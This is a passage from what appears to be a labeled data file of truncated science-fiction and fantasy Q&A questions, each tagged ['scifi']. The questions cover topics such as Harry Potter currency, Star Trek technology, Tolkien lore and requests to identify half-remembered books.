What was the point of the switch? Body: At the end of A Memory of Light, What was the point of this switch? Won't the new form attract unwanted attention too? ",['scifi'] "Title: What fantasy book has a kid who turns evil and can move so fast he can pass through solid objects? Body: This was a long time ago, but there were other kids with powers too, like a guy who could generate a force field, and a girl that could control any kind of energy from the kinetic energy of bullets to ... ",['scifi'] "Title: Young adult or children's book about creatures from a parallel dimension? Body: I've have been racking my brain for a long time now about a book which is centered on a house as a gateway for these creatures from a parallel dimension. A young boy stops them by solving a riddle and ... ",['scifi'] "Title: Story ID: Battle on the moon where the defenders hide behind brightly colored rocks Body: There is a scene stuck in my mind: Bad guys arrive to take over the good guys moonbase, and the good guys hide behind brightly painted rock outcroppings so they don't accidently get shot by their own ... ",['scifi'] "Title: Man whose job is to destroy broken robots on Mars Body: Could anyone help me please. I am looking for a short story where the setting is on Mars, protagonist a human waste disposal worker. His job is to shovel broken down robots into the furnace and they ... ",['scifi'] "Title: Why doesn't the huge difference between the muggle and wizard gold exchange rates get misused? Body: Why doesn't the huge difference between the muggle and wizard gold exchange rates lead to the collapse of the wizard economy? We know, that 17 silver Sickles is worth a golden Galleon. However, in ... ",['scifi'] "Title: Why did Dumbledore say that the Ring (Hallow/Horcrux) “was sure to carry a curse”? Body: “When I discovered it, after all those years, buried in the abandoned home of the Gaunts - the Hallow I had craved most of all, though in my youth I had wanted it for very different reasons - ... ",['scifi'] "Title: Did the Valar fight in the War of Wrath? Body: I just finished reading The Silmarillion (prior to this, I'd read The Hobbit once and The Lord of the Rings a couple of times), but something bothered me about the ending: did the Valar themselves ... ",['scifi'] "Title: Story where juvenile computer programs are trying do well in class long enough to be downloaded into living being? Body: Because of overcrowding, people reproduce by intermingling basic traits of their personalities into a young computer program. When the program has matured long enough it can be downloaded into a ... ",['scifi'] "Title: What happened to Voldemort's “final” corpse? [closed] Body: I mean, his corpse after the duel with Harry at Hogwarts...perhaps Order of Phoenix members did something like this? ;-) ",['scifi'] "Title: How did Clara dedicate Emmette's tombstone in Back to the Future 3? Body: In Back to the Future 3, Doc Brown is only able to save Clara Clayton because of Marty's presence (as they had to scout that area for the plan). Though if Marty had not traveled back in time, Doc ... ",['scifi'] "Title: Will there be a Buffy The Vampire Slayer season 8 on DVD? Body: I have heard that there might be a Buffy the Vampire Slayer season 8 on DVD, but not directed by Joss Whedon. Is there any news about if it´s gonna happen or not? I also heard something that suggests ... ",['scifi'] "Title: Equal Mass in both universes in Fringe Body: I'm only just getting to season 3, so if this has been answered later, just say that. In 2x14, Jackson, Walter says that the two universes will try to fix an imbalance in the mass of it's own ... ",['scifi'] "Title: Are humans in the Star Trek Universe smarter, or just better educated? Body: Starfleet officers and cadets seem to study and practice a wild array of subjects. Far more than I would imagine is likely for a modern day human, in our universe. Has the human intelligence advanced ... ",['scifi'] "Title: How did Snape learn when Harry was to be moved? [duplicate] Body: In the first chapter of Deathly Hallows, Snape divulges to Voldemort when Harry was going to be moved, citing a source he and Voldemort had previously discussed. ‘Good. Very good. And this ... ",['scifi'] "Title: Avengers vs X-Men ending: isn’t it all The Avengers fault? [closed] Body: OK, there’s one thing I don't get. If in the very beginning The Avengers wouldn’t interfere and attack the X-Men and end up splitting the Phoenix Force apart: Scott, Emma, and the Phoenix 5 would’ve ... ",['scifi'] "Title: Does anyone actually wear eyeglasses in Star Wars? Body: Does anyone in The Galaxy Far Far Away wear eyeglasses? (specifically to correct for bad vision, NOT sunglasses or some special optics designed to enhance you natural senses ala whatever optics ... ",['scifi'] "Title: Did Agent Coulson die in The Avengers? Body: Given the upcoming Agents of Shield TV show there has been some desire for a return of Agent Colson. Is there evidence that he canonically died in The Avengers or evidence that this is another one of ... ",['scifi'] "Title: Who was Rhaegar, Viserys and Daenarys' mother? Body: I know Rhaegar, Viserys and Daenarys were the children of Aerys II Targaryen, the Mad King, but who was their mother? Was it the same woman? I understand that Rhaegar was much older than the other ... ",['scifi'] "Title: How come Littlefinger spent his childhood at Riverrun? Body: How come Littlefinger spent his childhood at Riverrun? I understand that the children of Lords are often sent as wards to other houses, for political reasons (eg. Robert Baratheon and Eddard Stark at ... ",['scifi'] "Title: SF story ID: Secret agent working for lizard overlords travels through parallel universes Body: The universe is made up a infinite parallel timelines where there are small differences between adjacent timelines but the differences get larger the farther from the base time line you travel. The ... ",['scifi'] "Title: Are the wizard coins in the Harry Potter books international? Body: The Galleons, Sickles, and Knuts are described as the currency of wizards. I don't remember seeing anything about any other currency used by wizards. Is there such currency? Are Galleons, Sickles, and ... ",['scifi'] "Title: How were the DRDs on Moya operated? Body: On Farscape, Moya was servied by a fleet of Diagnostic Repair Drones, or DRDs for short. I've been trying to find out how those DRDs that featured on the show - One-Eye, DRD Pike and 1812, and the ... ",['scifi'] "Title: What is the reason for such a strange exchange rate in the wizard currency in Harry Potter? Body: There are 17 Sickles in a Galleon, and 29 Knuts in a Sickle. This seems very impractical, as both numbers are primes. It might be an out-of-universe parody of how old muggle money was divided before ... ",['scifi'] "Title: Do Weeping Angels Displace Other Weeping Angels? Body: Is there anything to show what happens when Weeping Angels touch? Do they displace each other? It would seem to me they could use this to provide each other with unlimited life. Displace an angel a ... ",['scifi'] "Title: Story ID: Alien Animal Headed Foreign Legion misfits take on the military Body: It was a story about some rich kid officer that buys his way through the worst the military can send his way after he is put in command of a group of alien misfits in some sort of foreign legion. The ... ",['scifi'] "Title: Short Story: Army investigates barrier and house Body: I am trying to identify the author and title of a short story with the following plot. A scientist narrates a story where s/he is called into help the army investigate a unexplained phenomena. The ... ",['scifi'] "Title: After being neurolyzed, why is Newton holding a shovel? Body: In Men In Black 2, agent J neurolyzes Newton, played by David Cross, telling him to take his girlfriend to Cambodia. When Newton gets up from the couch, he is holding a shovel. Does anyone know why? ... ",['scifi'] "Title: Novel about the end of the world Body: My mother is looking for a book she read long ago about the end of the world where the survivors are all trying to get to ""some place"" and they have something growing out of their head that will ... ",['scifi'] "Title: What are the tactical advantages to having a flying aircraft carrier? Body: Both Sky Captain and the World of Tomorrow and The Avengers have flying aircraft carriers. Sky Captains and the World of Tomorrow's ""Mobile Airstrip"" The Avenger's ""Helicarrier"" Furthermore, a ... ",['scifi'] "Title: One armed main character sci fi/ fantasy Body: I'm trying to remember a series of books I started reading a few years ago I never finished but can only remember a few sketchy details. Main character is humanoid with one arm lost one but has ... ",['scifi'] "Title: Is it possible the four chaos gods of the Warhammer 40K franchise were once mortal? Body: In Aaron Dembski-Dowden's great novel The First Heretic, there are lines And you are not the first Colchisians to reach this world. Khanne, Tezen, Slanat, Narag, all ventured here, millennia ago, ... ",['scifi'] "Title: How did Dobby seal off Platform 9 and 3/4? Body: In Chamber of Secrets, how is Dobby able to seal off Platform 9¾, something that is so important and acts as the gateway from London to Hogwarts. We know as a fact that house-elves have the ... ",['scifi'] "Title: Looking for a Pre-1975, young adult, sci-fi, colored circle dimension crossing Body: Looking for the title and or author of a long ago favorite; I have searched the web for it on and off for years. I read a paperback novel about 40 years ago; it was probably a used book at that time. ... ",['scifi'] "Title: Why was the Balrog unconcerned with the fate of Middle Earth? Body: In an answer to the recent question Why was Gandalf Afraid of the Balrog of Morgoth?, it was stated that A Balrog is a terror of the First Age. And something that was a threat in the First Age ... ",['scifi'] "Title: Were battles in Lord of the Rings inspired by any historical events? Body: I wonder, has Tolkien ever mentioned if the great battles in The Lord of the Rings (Helm's Deep, Pelennor Fields) were inspired by any particular historical events, or has he ever stated otherwise? ... ",['scifi'] "Title: What happened between Korben and Leeloo? Body: At the very end of The Fifth Element, Korben and Leeloo are stripped and placed in some kind of healing device. Is this strictly for medical purposes, or are we to believe that they engaged in sexual ... ",['scifi'] "Title: What did Loki mean when he called Natasha (Black Widow) “Drakov's daughter”? Body: Natalia ""Natasha"" Alianovna Romanova born circa 1928 and was raised from her youth by a Russian soldier Ivan Petrovich Bezukhov after she was orphaned when enemy soldiers attacked Stalingrad. It is ... ",['scifi'] "Title: Where'd those guys on the Millenium Falcon go? Body: So I'm re-watching Star Wars as I occasionally do, this time using the amazing Machete order. I'm watching the theatrical releases, cause I'm old school like that, when I realize that the scanning ... ",['scifi'] "Title: looking for a short story about a college/high school kid who lives billion of years and witnesses the end of the universe Body: A few years ago I read a great online short scifi story about a boy (either in high school or college) who kept wondering what the point of life is. The story then describes how immortality became ... ",['scifi'] "Title: 1970s (or older) book about a werewolf on an alien planet, who probably became one through alien technology Body: I'm trying to remember then name of an old book I read as a kid, hope someone can help locate it? Ok the book I read was part two of a trilogy from around the 70s maybe 80s, it starred a hero who was ... ",['scifi'] "Title: Why can't Star Trek Replicator Technology and Transporter technology be combined to replace vital systems parts to the ship, say a new warp core? Body: They seem to have self-replicating mines, for god-sakes... how about replicating phaser arrays, plating, life-support systems, etc. ",['scifi'] "Title: Manhattan, time traveling mist wall, a flying white horse and a bridge of light to heaven Body: I remember reading this book in the late 80's or early 90's. It was a - sort of - semi SciFi contemporary fairy tale. It was set in Manhattan in contemporary times, near future and (I think) late ... ",['scifi'] "Title: How do the wand makers get the cores into the wands? Body: One of the sellers of magic wands, Ollivander, sells wands with Dragon heartstring, Phoenix feather, or Unicorn hair cores in them. What does JKR say about how the wandmakers get the core materials ... ",['scifi'] "Title: Why do some soldiers wear yellow uniforms? Body: Here we see the Launchies group with a couple of people dressed in yellow, while the rest are in white. Here we see the mess hall with Ender and Petra in Salamander Army. In the background is a ... ",['scifi'] "Title: why is the baby formula not yet spoiled after a year at walking dead? Body: In season 3 we see that Glenn and Maggie are sent off to get baby formula for Rick's daughter. And surprisingly the baby formula is still good for consumption, even though I believe it was not stored ... ",['scifi'] "Title: The choice of the Title “The Doctor” Body: In one of the episodes of the Master Saga, The Master is talking with The Doctor and says ""You chose your name, the one who help everyone"", when they are making their ""greetings"". I read the question ... ",['scifi'] "Title: When did Voldemort become aware of the Elder Wand? Body: I'm hoping this question doesn't have a really easy answer that I am inadvertently overlooking. When I first wondered when Voldemort had originally learned of the existence of the Elder Wand, I picked ... ",['scifi'] "Title: Why is Daenerys called Stormborn? Body: Why is Daenerys called Stormborn? Iirc she was born on Dragonstone, not in Storm's End (where Stannis Baratheon was rebelling). ",['scifi'] "Title: Why did 343 Guilty Spark help Miranda to stop Halo Delta? Body: The prime task of the Forerunner monitors was to ensure defense against the Flood. After a significant infection level, they were even willing to break the protocols (e.g. 343 Guilty Spark tried to ... ",['scifi'] "Title: What are the two types of Woge? Body: In Grimm there appear to be two types of Woge, one that normal people can see and one they can't. What is the difference between the two and what are they called? ",['scifi'] "Title: Old kids book about boy who builds a spaceship to travel to mars Body: I can't remember when I read it - but likely the 70s. The young boy was so enamoured with travelling to the Mars that he built his own ship (which I think was box shaped) and flew there and came back. ... ",['scifi'] "Title: Young Adult novel, late 80s: gothic horror, deserted mansion, candle flame turns blue Body: The public library I visited as a child had a young adult book that scared me half to death. Here's what I remember: The cover art was in the style of Edward Gorey (black and white line art) The ... ",['scifi'] "Title: Early 90's children's book about a girl who travelled back in time Body: I remember this book I loved in the early-mid 90's about a girl who was able to travel back in time to the 70's and meet her mum (I think). I can't remember the whole story, but I feel like maybe her ... ",['scifi'] "Title: How did Mad-Eye Moody survive in the enchanted trunk in Goblet of Fire? Body: How did Alastor 'Mad Eye' Moody manage to survive for 9 months when he was trapped in the enchanted trunk in the 4th book? ",['scifi'] "Title: How do goods and services trade hands in the Star Trek universe with no monetary system to regulate value? [duplicate] Body: I'm still unclear how Federation 'credits' work and who decides or assigns who gets how much. Does everyone get the same number of credits assigned to them or are credits assigned based upon position ... ",['scifi'] "Title: Why aren't there any main Federation battleships in the Star Trek universe? Body: All of the ships seem to have offensive/defensive capabilities as secondary considerations. The galaxy seems to be loaded with fearsome enemies and the promise of even more powerful adversaries yet to ... ",['scifi'] "Title: Identify Story: Dystopian Children's Novel About Subterranean Class System Body: This is a book that haunted me for years. A girl lives on a very low level of an ant-hill-like society where most people live underground (supposedly due to a polluted surface). Most of the people ... ",['scifi'] "Title: Why did Davy Jones little white crabs help Jack escape from Davy Jones Locker? Body: When the motley crew goes to rescue Cap'n Jack Sparrow from Davy Jones Locker in part 3 of the Pirates of the Caribbean film franchise, we find Jack on-board a desert-bound ship populated with his ... ",['scifi'] "Title: Did Dumbledore have a plan when he made Snape the DADA teacher? Body: As confirmed by this question, Dumbledore knew that the Defense Against the Dark Arts (DADA) position was cursed by Voldemort so that no professor would hold the position for more than one year. That ... ",['scifi'] "Title: Were there any talking dragons in Harry Potter world? Body: Charlie Weasley had some successes in his tries to train dragons, at least Ron claims that. But does history of Potterverse remember of any dragon with ability to talk or to communicate with people ... ",['scifi'] "Title: Short story about a psychic awakening his true potential Body: I read this short story in a sci-fi anthology probably between 5 and 10 years ago, possibly one of the Year's Best SF anthologies. It's set in a world where psychic powers are common, and people with ... ",['scifi'] "Title: Adventure book, possibly published around 25 years ago Body: It was an adventure book where the reader could choose various paths for the hero to take (i.e. if you want to do X go to page 20). I remember a sword that needed to be reforged, some dwarfs (blatant ... ",['scifi'] "Title: Actor in one episode of Star Trek: The Original Series [closed] Body: The actor that I'm looking for was in one episode, played a very energetic fellow whose actual first name is Bruce and who subsequently joined the Swami Order in Los Angeles. Thanks so much! ",['scifi'] "Title: '80s book about kids stranded on a planet Body: A friend and I are trying to remember the title and author of a book we both read as kids in the 80s. It was about a group of students who go on a mission that's supposed to be some sort of survival ... ",['scifi'] "Title: Unaired TV show about people with telepathy Body: I think Steven Spielberg was linked to it. It was about a group of people in modern New York who all discover they are telepathic. I remember seeing it in a magazine like Empire that showed screen ... ",['scifi'] "Title: Is the Encyclopaedia Galactica in the Hitchhiker's Guide a reference to Asimov's Foundation Trilogy Encyclopædia Galactica or a tribute to Carl Sagan? Body: While reading the Hitchhiker's Guide to the Galaxy, I was thinking if the Encyclopaedia Galactica mentioned in the book is the same as Asimov's Foundation Trilogy's Encyclopædia Galactica? Could it be ... ",['scifi'] "Title: Why is Eddard Stark's coffin so small? Body: In episode 4 of season 2 Lord Baelish ""Littlefinger"" delivers a chest containing Eddard Stark's remains. Why is the chest so small? Does it only contain Eddard's head or ashes? ",['scifi'] "Title: What is the significance of the reversed colours of imperial and rebellion lasers compared to lightsabres? Body: Why were the colours of lasers inverted in Star Wars? (Out-of-universe!) Lightsabres In A New Hope (ANH) and The Empire Strikes Back (ESB) We know why the colours of lightsabres were chosen as blue ... ",['scifi'] "Title: What else did Pa Kent salvage from Jor-El's son's rocket? Body: According to DC Comics, beyond the baby and the blankets that were destined to make up Superman's future uniform, what else did Pa Kent salvage from baby Kal-El's spaceship? ",['scifi'] "Title: Can you identify this book or series in which all humans are in hell? Body: A while ago a friend told me the plot of a book (or book series, he isn't sure) that he couldn't remember the name of, and I want to find it. Here's what he told me: Every person in existence is in ... ",['scifi'] "Title: What is the synopsis of Homer Eon Flint's “The Emancipatrix”? Body: I bumped into this book (it's free on Gutenberg), and couldn't find ANY description of what it is about (aside from it being among Flint's more famous books). I checked (with no result): ... ",['scifi'] "Title: SF book cover with a gorilla-like being in a space suite coming through an archway Body: The cover art is mostly what I remember. There was a being in a space suit coming through an archway (similar to a metal detector); the being resembled a gorilla. It was carrying its helmet under ... ",['scifi'] "Title: Do Enterprise-era humans hunt for food or not? Body: In ""Rogue Planet"", Archer states that hunting went out of style on Earth over a hundred years ago. However, the crew of the Enterprise clearly eat meat and, in ""Dead Stop"", Commander Tucker would eat ... ",['scifi'] "Title: What's the point to the houses? Body: In universe, students are sorted into houses based on their qualities. But when Harry Potter was sorted he was told, ""He would do well in Slytherin."" The question is why? There doesn't seem to be ... ",['scifi'] "Title: What was Boromir or his father thinking about the One Ring? Body: How could the One Ring help them? Leaving aside the evil inside the One Ring, how could the One Ring bring any help to Gondor? It seems that one of the useful powers of the One Ring is that it could ... ",['scifi'] "Title: Oz and Wicked continuity? Body: So my wife had made me go see the Broadway musical Wicked and the new Disney film Oz. Can anyone explain to me which story line is correct when looking at the Wicked Witch of the West? ",['scifi'] "Title: What are droids in Star Wars powered by? Body: A friend posed this question a while back and despite searching the internet and our collective Star Wars books, we were unable to come up with an answer. I even made this reddit post, but with no ... ",['scifi'] "Title: Where to start in Marvel Unlimited Body: I recently purchased an annual membership to Marvel Unlimited which give you access to a ton of different comics in the Marvel Universe, so many I'm having a hard time deciding where to start. I don't ... ",['scifi'] "Title: Can Hugo in the alternate (no island) timeline see dead people? Body: Can the version of Hugo in the alternate timeline (the one where he's CEO of the chicken place) see dead people? I don't remember him ever seeing dead people, but I've been watching this spread over ... ",['scifi'] "Title: Why were the Kwons candidates if Jacob said he chose the others because they were “all alone in the world”? Body: I'm just finishing up Lost. In one of the last episodes Jacob is sitting around the fire with Jack, Kate, Hugo and Sawyer. When asked why he chose them to be candidates he said something to the ... ",['scifi'] "Title: Could Room of Requirement provide one with any book from Hogwarts Library? Body: In OotP(Ch18) Harry summons the Room of Requirement variant suitable for (secretive) DADA practice; the Room also provides him with various DADA books as well as equipment ""The walls were lined with ... ",['scifi'] "Title: Is a Dial Home Device Connected To A Stargate In A Wired or Wireless Fashion? Body: While watching some of the episodes of the Stargate Series, I have been wondering in what fashion the DHD interacts with the stargate itself. I've have read some of the various questions and answers ... ",['scifi'] "Title: Man and woman travelling through parallel universe? Body: The only things about this book I can remember is there is male and female main characters journeying through an alternate/parallel universe. Along the way they meet various people, though the only ... ",['scifi'] "Title: Identity of the ship destroyed by Capt. Nemo towards the end of 20k Leagues Under the Sea? Body: Towards the end of 20,000 Leagues Under the Sea the Nautilus first toys with, and then later completely destroys, a large steam warship from an unknown authority. Is the identity of this ship's owner ... ",['scifi'] "Title: In Futurama, are there jungles on Earth? Body: In the Futurama episode ""Mars University"" the Professor implies that there are no jungles on Earth. Fry: Wow! The jungles on Mars look just like the jungles on Earth! Professor: Jungles? On ... ",['scifi'] "Title: How long does it take for Bender to rust? Body: Bender is (mostly) powered by alcohol. We also know that if he doesn't drink he grows a rust beard and acts similar to how a human would once they partake in too much alcohol. How long does Bender ... ",['scifi'] "Title: Did Tolkien acknowledge that Silmarillion is harder to read than LOTR? Body: Personally, I found Silmarillion to be very difficult to read (I admit to having never been able to finish it) compared to LOTR books. I know plenty of people who share that opinion (even native ... ",['scifi'] "Title: Second prophecy of Mandos Body: Does anybody know anything about the mysterious ""Second Prophecy of Mandos""? It seems to be about the end of the world. ",['scifi'] "Title: Who was the original owner of Orcrist? Body: We know that Glamdring and Orcrist are both from Gondolin, and that Glamdring belonged to Turgon. All I found about Orcrist is a line from the Hobbit saying that it belonged to some great hero of the ... ",['scifi'] "Title: Why was Luke chosen as the last hope instead of Leia? Body: Yoda and Kenobi chose Luke to make Jedi knight. Why? We've seen many female Jedi in the canon. Why couldn't Leia became a Jedi knight? ",['scifi'] "Title: Logical fallacy in “Pyramids” by Terry Pratchett Body: Teppic meets Ephebian philosophers who are trying to prove that a tortoise can outrun an arrow. I understand this is because the tortoise moves, so when the arrow gets to where the tortoise was, it ... ",['scifi'] "Title: Question about the last book in the Wheel of Time series Body: How did... ",['scifi'] "Title: Strange creatures that bite you and never let go Body: I read a short story years ago and don't remember what it was called. It was about a man in a desert who had heard about strange creatures that were likely to come after you and if they bit you their ... ",['scifi'] "Title: What is the end of A Dance With Dragons meant to convey about the fate of one specific character? Body: If you can rewrite my title to be less obtuse without being a spoiler, go for it. I'm trying to discern if I am meant to definitively know what happened in one of the last chapters of the book. DO ... ",['scifi'] "Title: How did Skynet avoid destroying itself on Judgment Day? Body: It seems at the end of Terminator 3, Skynet relies upon the connected computer network in order to have the intelligence that it has. This made it resistant to any single point of failure to destroy ... ",['scifi'] "Title: Was Gollum completely naked in the books? Body: This might sound like a weird question, but here goes anyway. In the LotR and the Hobbit movies, Gollum is always shown with a piece of cloth hiding his private area. It seems dull to me that he ... ",['scifi'] "Title: Trying to find a short film with crashed spaceship and non-English narrator Body: I'm after some help. I vaguely remember watching a short film that was posted on Facebook a couple of months ago (it was around 10mins long). I think the film is narrated in French (definitely not ... ",['scifi'] "Title: Online store for new or used sci-fi radio plays on vinyl (gramophone record)? Body: Is there some online shop specializing in this? I am interested in radio shows on vinyls in English. For people asking why I want LP instead of a download from iTunes or CD: I am aware of iTunes, ... ",['scifi'] "Title: What is “Kwatz!”? Body: In Fall of Hyperion, the Core AI Ummon periodically interjects his koans and oddly-formatted comments with [Kwatz!] What does this mean? Is it a made-up expletive? If so, why would a computer ... ",['scifi'] "Title: Origin of quote in Abercrombie's The Blade Itself Body: In the first volume of Joe Abercrombie's First Law Trilogy the title of the first book ""The Blade Itself"" is attributed to a quote from The Odyssey by Homer ""The blade itself incites to deeds of ... ",['scifi'] "Title: Why did Lucifer interfere with Mammon crossing over? Body: Why did Lucifer care about Mammon crossing over from Hell to the real world? Before coming up to drag John (literally) to Hell, he makes a detour and sends his son back to presumably prevent Hell on ... ",['scifi'] "Title: Why do diesel cars not work in Revolution? Body: Revolution is a post-apocalyptic TV series, where the main premise is that some sort of technology was used to disable electricity (as in not just the mains but electricity even in batteries doesn't ... ",['scifi'] "Title: What is the origin of the name “Obi-Wan Kenobi” from Star Wars? Body: I'm a big fan of flying, and I noticed a possible similarity between some flight control terminology and the name ""Obi-Wan Kenobi"", and I'm interested in finding out if this is coincidental, or if ... ",['scifi'] "Title: When was Cyberdyne Systems created in the original timeline and by whom? Body: There is a cut scene from Terminator 1 (see video below at 3:31) indicating that Cyberdyne System existed prior to the first incident with the T-101. ... ",['scifi'] "Title: Why have they cut scenes showing T-1000 malfunctions? Body: Why have they cut scenes showing T-1000 malfunctions? Except the last one when John recognize that T-1000 morphed into Sarah? ",['scifi'] "Title: Could Vader really have crushed the Rebels on Hoth? Body: In the chat room, Gilles linked to a very interesting article about the military shortcomings of the Empire's strategic decisions when attacking the rebel base on Hoth. It points out (correctly) that ... ",['scifi'] "Title: Kid gets sucked into a video game or TV show Body: I read a book as a kid (in the late 80's-early 90's) that was about a kid getting sucked into a video game or TV show and he had to make his way through the world and defeat the bad guy. I was ... ",['scifi'] "Title: Has anyone attempted making a ring that combined Will and Fear? Body: In Green Lantern they make two rings: one for the yellow power of fear, and one for the green power of will. Has anyone in the Green Lantern setting attempted to make a single ring that combined the ... ",['scifi'] "Title: Does Joffrey know who his father really is? Body: Does Joffrey know who his father really is? Are there no facts for this in the later books? (I have read just the first.) Does he know about the rumors of who his father is? ",['scifi'] "Title: Book where half the protagonist's body was replaced with cybernetics Body: I'm trying to remember the name of a sci-fi book that would have come out before 2000. Half the main character's body has been replaced with cybernetics (from some injury). The only specific thing I ... ",['scifi'] "Title: The One multiverse: The magic number 125 Body: Currently watching The One for the nth time in my entire life but as I watched it today, I noticed a small detail that intrigued me. As the multiverse agency was about to transport Jet Li to the Hades ... ",['scifi'] "Title: Could a house elf be made into a Secret Keeper? Body: 1) They are already extremely loyal to their master(s); 2) They are certainly capable of telling the secret to their master(s) after the charm is cast and are almost completely unable to betray them; ... ",['scifi'] "Title: Who was Bruce Wayne's primary martial arts trainer? Body: Who was Bruce Wayne's primary martial arts trainer? (e.g. a person who took a guy who was able to fight as well or worse as an average human fighter, and turned him into a guy able to defeat numerous ... ",['scifi'] "Title: What purpose does Alfred Serve? Body: As the question states, What does Alfred do in Batman? Alfred at first glance seems just to be an ordinary butler of the Wayne Manor who gives good advice to Bruce, but is it just that? Just a ... ",['scifi'] "Title: Is humanity also a mutation? [closed] Body: We can refer to mutants but aren't humanity also technically nothing but a mutation according darwinism or evolution? We usually make a distinction between mutants and mankind but according to the ... ",['scifi'] "Title: I need the name of a Sci-Fi/Fantasy Book Series Body: When I was a kid my stepdad at the time read a book series about a family or group of people that could walk through portals or time travel to other universes or something like that. I want to say it ... ",['scifi'] "Title: Why did Voyager use up their transwarp coil all at once? Body: In the Voyager episode ""Dark Frontier"", Voyager got a transwarp coil from a Borg sphere. They used it all up and traveled 20,000 light years at once. It would have been very good for them to use ... ",['scifi'] "Title: Isaac Asimov references Clarke's Third Law? Body: I read Foundation (by Isaac Asimov) a while ago, just after I finished the Prelude to Foundation (of the same author). Today I have come about the notion that he, in either of the books, made a ... ",['scifi'] "Title: Why didn't Star Trek: The Next Generation change their uniforms when ST:Deep Space 9 came out? Body: DS9 came out during the 6th season of TNG. From the onset of the show, DS9 used uniforms that looked like this: However, TNG continued the use of this uniform(taken from episode 10 of season 7): ... ",['scifi'] "Title: Where else do we see James T. Kirk, computer hacker extraordinnaire? Body: James T. Kirk is infamously known for (among many other things) having hacked his way through the Kobiyashi Maru test. However, I can't think of any other times we've seen him exhibit any ... ",['scifi'] "Title: Why is the culture in Fallout stuck in the 1950s? Body: All of the main fallout lore (1,2,3,and New Vegas) is 1950's-esque. The nuclear war that destroyed the world did not occur until 2077. What caused the culture to stay static for that ~120 year ... ",['scifi'] "Title: Why was Starfleet unable to destroy Nero's drill? Body: In the 2009 film, Nero attacks Earth near Starfleet Headquarters with his drill. The drill was previously shown to be extremely fragile and could be incapacitated by two troops with handheld weapons. ... ",['scifi'] "Title: How is Nekron related to Death of the Endless? Body: Nekron is ""Lord of the Unliving"" and the ruler of a dimension where souls go after they die, although this is clarified as ""before their final judgment"". If Death of the Endless is also present in the ... ",['scifi'] "Title: How does Zion population square with how it's built? Body: The Architect says that The One must choose 23 people (16 female, 7 male) to create new Zion. After which, you will be required to select from the Matrix 23 individuals - 16 female, 7 male - to ... ",['scifi'] "Title: What would happen if a looper lived the full 30 years until he was sent back? Body: So we all know that the loopers eventually get sent back 30 years in order to be killed by his younger self. If the looper fails to kill his older self and is not found out (say, by collaborating with ... ",['scifi'] "Title: How long were O'Neill and Teal'c stuck in the time loop in Window of Opportunity? Body: In season 4 episode 6 of Stargate-SG1, ""Window of Opportunity"", Jack O'Neill and Teal'c get stuck in a time loop, repeatedly living the same ten or so hours after a mission to a planet where they had ... ",['scifi'] "Title: What separates the Winchesters from witches? Body: In the show Supernatural, the Winchester brothers frequently cast various spells. Summoning angels or demons, warding angels, binding demons, etc. are all spells that they often use in their work. ... ",['scifi'] "Title: What do we know about the Skinnies? Body: The Skinnies are allies of the Bugs in Heinlein's Starship Troopers. What do we know about them and their alliance with the Arachnids? ",['scifi'] "Title: Is the Aliens' blood a mundane but currently known acid, or something more exotic? Body: I just recently read an answer to another question that suggested that the xenomorph's (I hate that term, ugh) blood was hydrochloric or hydrosulfuric acid. Is there anything in the first few movies ... ",['scifi'] "Title: Movie where man implants device on his head and gathers children Body: I'm looking for a movie which I saw the trailer for a couple of years ago. Probably from 2009, but maybe later. It was a science fiction / body horror movie, set in the current time. There was a ... ",['scifi'] "Title: Who is the man placing the dead deer? Body: In season 3 episode 4, at the beginning of the episode, So who is that man? ",['scifi'] "Title: Which Defiant was shown in ST: First Contact? Body: In Memory Alpha, the page on the U.S.S. Defiant states that two Defiant-class ships had that name; the prototype Defiant, and a successor, the U.S.S. Sao Paulo, which was assigned to DS9 and renamed ... ",['scifi'] "Title: Is the term Steampunk limited to steampunky look and feel or does it include anything that features steampunk-like technology? [closed] Body: This question was just (more eloquently) raised by Xantec in a comment: But if you had steampunk technology with modern looking clothing and architecture, wouldn't that still be called steampunk? ... ",['scifi'] "Title: How many alien women has Capt/Admiral Kirk slept with? Body: It's an on going punchline that Kirk slept with many women across the galaxy. Is it actually based in fact though? In the TV series and movies, how many actual women did Kirk boldly go into with his ... ",['scifi'] "Title: How did Smaug know about the habits of Laketown? Body: In The Hobbit cartoon Bilbo enters Lonely Mountain and confronts the dragon Smaug. Smaug is trying to figure out who he is and where he comes from. Bilbo answers in riddles about his many adventures ... ",['scifi'] "Title: How did the Hive Queen arrive in Ender's hands? Body: At the end of Ender's Game, a Hive Queen egg is found by Ender exactly on the planet where he happens to arrive. As far as the rest of the Ender works indicate, this is the only Hive Queen egg found ... ",['scifi'] "Title: Should I read Oryx and Crake before The Year of the Flood? Body: I recently got my hands on a copy of The Year of the Flood by Margaret Atwood. Reading its description on Wikipedia, I realized that it's set in the same universe as one of her previous novel, Oryx ... ",['scifi'] "Title: What is the original context of this Spock video clip? Body: This clip has surfaced on the internet, and was particularly brought to my attention alongside a caption that implied Spock was examining a rather attractive derriere. I find it generally unlikely ... ",['scifi'] "Title: Was this a case of executive meddling? Body: Was Donna meant to die in the Stolen Earth/The Journey End? There were several cases of foreshadowing her death, and Dalek Cann explicitly said ""One will die"". She could easily have died from brain ... ",['scifi'] "Title: Aside from the “Vulcan Salute”, have Nimoy & Shatner's Jewish heritage had any significant influence on Star Trek? Body: I have heard many times that the Vulcan ""Live-long-and-prosper"" hand gesture was created by Leonard Nimoy based upon the hebrew letter ""shin"", as used in Jewish ceremonies. William Shatner is also ... ",['scifi'] "Title: Which one did Dalek Cann mean when he said “one will still die”? Body: In the Stolen Earth/The Journey End, Dalek Cann said ""one will still die"". Did he mean Davros or Donna? ",['scifi'] "Title: Story Identification - sci fi novel with nanotech [closed] Body: It takes place in a desert city (Mojave, I think) - there is nanotech, a fair amount of dystopia, genetic modification, and I think someone sprouts wings in the end...kind of cyberpunk-ish. ",['scifi'] "Title: Was Half Life 1 inspired by HP Lovecraft's “Fungi from Yuggoth”? Body: The similarities aren't stark, but the remind me about each other so much. Yuggoth... is a strange dark orb at the very rim of our solar system... There are mighty cities on Yuggoth—great ... ",['scifi'] "Title: Do Programs/Users need to eat or drink? Body: I originally understood the digitization process of Tron/Tron: Legacy to create digital representations of the users, but now I'm not so sure (especially since Sam is shown to bleed on The Grid). ... ",['scifi'] "Title: Drawing of Yggdrasil Body: Roughly two decades ago I read a piece of juvenile fiction that had an incredibly intricate drawing of Yggdrasil in the first few pages. I thought it was Choose Your Own Adventure #55 (The Trumpet of ... ",['scifi'] "Title: Can a transport in progress be blocked or stopped by the bridge? Body: In The Next Generation and Voyager (and maybe Deep Space Nine) it will semi-frequently happen that someone will use the transporter to escape the ship, and when the bridge detects this, someone will ... ",['scifi'] 